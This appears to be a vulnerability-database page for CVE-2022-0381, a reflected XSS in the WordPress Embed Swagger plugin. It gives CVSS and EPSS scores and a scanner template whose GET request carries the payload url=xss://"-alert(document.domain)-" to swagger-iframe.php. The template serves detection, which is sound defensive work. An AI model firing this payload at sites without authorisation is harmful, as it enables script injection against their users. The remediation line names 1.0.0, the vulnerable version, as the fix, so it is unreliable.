4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.002 Low
EPSS
Percentile
60.0%
WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
id: CVE-2022-0381
info:
name: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.
reference:
- https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381
- https://nvd.nist.gov/vuln/detail/CVE-2022-0381
- https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0381
cwe-id: CWE-79
epss-score: 0.00218
epss-percentile: 0.59134
cpe: cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "embed_swagger_project"
product: "embed_swagger"
framework: wordpress
tags: cve,cve2022,swagger,xss,wordpress,embed_swagger_project
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/embed-swagger/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Embed Swagger'
- 'Tags:'
condition: and
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- "url: \"xss://\"-alert(document.domain)"
- type: status
status:
- 200
# digest: 490a004630440220332cb624bdfc2a31384398785b3689febdebbae9e565ea51c7d46cd3ddacd54e0220640eb406ada6c4efb67a8f2d1a578bffdd049913a838784ce13b13375748e53b:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.002 Low
EPSS
Percentile
60.0%